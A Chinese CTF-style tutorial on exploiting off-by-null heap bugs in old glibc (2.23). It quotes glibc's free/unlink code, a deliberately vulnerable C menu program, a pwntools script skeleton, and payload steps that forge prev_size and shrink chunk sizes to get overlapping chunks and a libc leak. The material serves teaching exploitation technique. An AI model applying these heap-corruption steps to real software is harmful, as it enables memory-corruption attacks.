off by null低版本利用的两种方式

off by null低版本利用

off by one的漏洞利用思路是很明显的,有一个字节的溢出,并且这个字节里面的数据可以任由我们控制,但是off by null不同,虽然都是有一个字节溢出,但是这个字节只能是空的,所以off by null比 off by one条件要弱一些,本文会从高低版本两个部分,分别介绍off by null的利用方式

低版本可控pre_size

首先让我们对利用原理做一些解释

这就不得不提到_int_free函数,这个函数是在free过程中调用的函数,其中有一个unlink操作,unlink也是一种利用方式,这里暂且不表,我们来看看释放堆块的时候会发生什么

//2.23 when size>global_max_fast

/* consolidate backward */
if (!prev_inuse(p)) {
    prevsize = p->prev_size;
    size += prevsize;
    p = chunk_at_offset(p, -((long) prevsize));
    unlink(av, p, bck, fwd);
}


if (nextchunk != av->top) {
    /* get and clear inuse bit */
    nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

    /* consolidate forward */
    if (!nextinuse) {
        unlink(av, nextchunk, bck, fwd);
        size += nextsize;
    }



/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) {                                             
    FD = P->fd;                                    
    BK = P->bk;                                    
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))              
        malloc_printerr (check_action, "corrupted double-linked list", P, AV);   
    else {                                     
        FD->bk = BK;                                   
        BK->fd = FD;                                   
        if (!in_smallbin_range (P->size)                       
            && __builtin_expect (P->fd_nextsize != NULL, 0)) 
        {              
            if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)         
                || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))     
                malloc_printerr (check_action,                     
                                 "corrupted double-linked list (not small)",     
                                 P, AV);                           
            if (FD->fd_nextsize == NULL) {                     
                if (P->fd_nextsize == P)                       
                    FD->fd_nextsize = FD->bk_nextsize = FD;            
                else {                                 
                    FD->fd_nextsize = P->fd_nextsize;                  
                    FD->bk_nextsize = P->bk_nextsize;                  
                    P->fd_nextsize->bk_nextsize = FD;                  
                    P->bk_nextsize->fd_nextsize = FD;                  
                }                                  
            } else {                                   
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;              
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;              
            }                                      
        }                                      
    }
}

先依据当前chunk(chunkP)的pre_inuse位来判断前一个chunk(preChunk)是否处于释放状态,是则进入unlink,将前一个chunk取出

然后判断下一个chunk(nextChunk)是否是top_chunk,是则直接与top_chunk合并。

若nextChunk不为top_chunk,再判断下一个Chunk的再下一个chunk的pre_inuse位来判断nextChunk是否处于释放状态,若是则进入unlink。

然后unlink中就不细说,就是双向循环链表解链的过程,依据fd和bk来查找并解链,但是我们的off-by-null通常不会涉及到nextsize位的使用,所以基本不用看后面的。需要注意的是,由于这里会检查,即:

if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) malloc_printerr (check_action, "corrupted double-linked list", P, AV);

所以我们需要将进入unlink的chunk的fd和bk来进行伪造或者干脆直接释放使其直接进入unsortedbin中完成双向链表的加持。

所以,如果我们可以伪造pre_size和in_use位,就能触发向上任意寻找一个满足fd和bk为双向链表的chunk,从而将中间所有的chunk都一并合并为一个Chunk释放掉。(向下合并也可以的,不过一般不常使用)

在低版本的off by null里面,最常用也是最好用的方式就是制造堆块重叠,但是这种利用还需要对其产生的条件有所区分

首先,如果是在输入的内容后面一个字节写 0 ,即可以控制下一个 chunk 的 prev_size 和 size 最低 1 字节写 0 那么可以采用下面的方法制造堆块重叠。

如下图所示,释放 chunk1 然后修改 chunk3 的 prev_size 和 PREV_INUSE 位(顺序不能错,否则 chunk1 会与 chunk2 合并出错),之后释放 chunk3 与 chunk1 合并,从而造成堆块重叠。

我们来试着根据这个情况,写一个exp,形成从uaf到overflow的转移

#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>

char *chunk_list[0x100];

void menu() {
    puts("1. add chunk");
    puts("2. delete chunk");
    puts("3. edit chunk");
    puts("4. show chunk");
    puts("5. exit");
    puts("choice:");
}

int get_num() {
    char buf[0x10];
    read(0, buf, sizeof(buf));
    return atoi(buf);
}

void add_chunk() {
    puts("index:");
    int index = get_num();
    puts("size:");
    int size = get_num();
    chunk_list[index] = malloc(size);
}

void delete_chunk() {
    puts("index:");
    int index = get_num();
    free(chunk_list[index]);
}

void edit_chunk() {
    puts("index:");
    int index = get_num();
    puts("length:");
    int length = get_num();
    puts("content:");
    read(0, chunk_list[index], length);
}

void show_chunk() {
    puts("index:");
    int index = get_num();
    puts(chunk_list[index]);
}

int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    while (1) {
        menu();
        switch (get_num()) {
            case 1:
                add_chunk();
                break;
            case 2:
                delete_chunk();
                break;
            case 3:
                edit_chunk();
                break;
            case 4:
                show_chunk();
                break;
            case 5:
                exit(0);
            default:
                puts("invalid choice.");
        }
    }
}

测试所用源代码

from pwn import *

context(log_level="debug", arch="amd64", os="linux")
io = process(
    ["/home/gets/pwn/study/heap/offbynull/ld-linux-x86-64.so.2", "./pwn"],
    env={"LD_PRELOAD": "/home/gets/pwn/study/heap/offbynull/libc.so.6"},
)


def dbg():
    gdb.attach(io)


def add(index, size):
    io.sendafter("choice:", "1")
    io.sendafter("index:", str(index))
    io.sendafter("size:", str(size))


def free(index):
    io.sendafter("choice:", "2")
    io.sendafter("index:", str(index))


def edit(index, content):
    io.sendafter("choice:", "3")
    io.sendafter("index:", str(index))
    io.sendafter("length:", str(len(content)))
    io.sendafter("content:", content)


def show(index):
    io.sendafter("choice:", "4")
    io.sendafter("index:", str(index))

dbg()
io.interactive()

这是逆向完成的exp,本地使用的是glibc2.23

我们先申请几个堆块,大小是0x200,0x18,0x1f0和0x10

add(0,0x200)
add(1,0x18)
add(2,0x1f0)
add(3,0x10)

最后的这个0x10用作防止和top chunk合并

假设我们现在存在一个off by null的漏洞在edit函数里面,在编辑的时候会把最后一个字节改成\x00

根据上面的原理,我们释放0号堆块,然后修改1号堆块,由于会存在一个off by null漏洞,把2号堆块的size位的最低 1 字节改成0,然后释放二号堆块,记得要伪造pre_size,因为我们合并就是通过pre_size来确定前一个堆块的大小的

edit(1,b'a'*0x10+p64(0x230)+p8(0))

可以看到,我们完成了修改,现在free掉2号堆块,再申请堆块的时候,就会触发unlink,效果就是,把2free掉的时候,由于2号的标志位是0,会根据它的pre_size位,误以为前面有一个同样被free掉的,大小为0x230的堆块,而这个0x230,就是1号堆块与0号堆块大小之和,最后一起合并

产生了一个大小为0x430堆块,假设此时不存在uaf,但是0号和1号堆块都没有被free,但是他们又确实在unsorted bin里面,就会产生堆块重叠,直接show就可以拿到libc,也可以直接修改,这样就把off by null漏洞变成了堆块的重叠,uaf和溢出

后续的利用过程就相当简单了

低版本不可控pre_size

如果不是在输入的内容后面一个字节写 0 ,即在下一个 chunk 的 size 最低 1 字节写 0 但不能控制 prev_size 时可以采用下面的构造方法。

可能依旧会觉得迷茫,我们还是以这道题为例,来讲解一下怎么操作

按照惯例,先申请四个堆块

add(0,0x18)
add(1,0x408)
add(2,0x2f0)
add(3,0x20)

而这四个堆块的大小其实没有什么要求,第一个堆块就是产生off by null的堆块,而第二个堆块要大一点,方便我们后续的切割,第三个堆块就比较随意,最后一个堆块则是起到隔绝top chunk的效果

我们free掉chunk0,然后把chunk1的标志位改成0,但是这里,我们假设的漏洞是无法控制pre_size,所以我们直接用垃圾数据填充即可

free(1)
edit(0,b'a'*0x18+p8(0))#0x410-->0x400

这个时候,由于原本堆块大小是0x410,我们的p8(0),其实会把大小改成0x400,这就会把1号堆块改小

然后我们把这个0x400切割出来

add(4,0x1f0)
add(5,0x10)
add(6,0x1f0-0x40)
add(7,0x10)

我们把堆块切割成这样的四个,其中的5号和7号堆块的作用都是分割,防止向前或者向后合并

这个时候把4号堆块free掉,然后再free掉2号堆块,就会产生合并

free(4)
free(2)

然后再释放chunk6,由于chunk6前后都是没有被free的堆块,chunk6就不会合并起来

而这个时候

表面上面是只有一个unsorted bin里面的chunk,但是实际情况是,在unsorted bin里面还有一个chunk6,而这个chunk6就在这个大堆块里面

这个时候就完成了我们的uaf和overflow

高版本

自 glibc-2.29 起加入了 prev_size 的检查,以上方法均已失效。不过要是能够泄露堆地址可以利用 unlink 或 house of einherjar 的思想伪造 fd 和 bk 实现堆块重叠。

/* consolidate backward */
if (!prev_inuse(p)) {
  prevsize = prev_size (p);
  size += prevsize;
  p = chunk_at_offset(p, -((long) prevsize));
  if (__glibc_unlikely (chunksize(p) != prevsize))
    malloc_printerr ("corrupted size vs. prev_size while consolidating");
  unlink_chunk (av, p);
}

但是其实高版本也是有对应的off by null利用方式,之后会复杂很多

0 条评论
某人
表情
可输入 255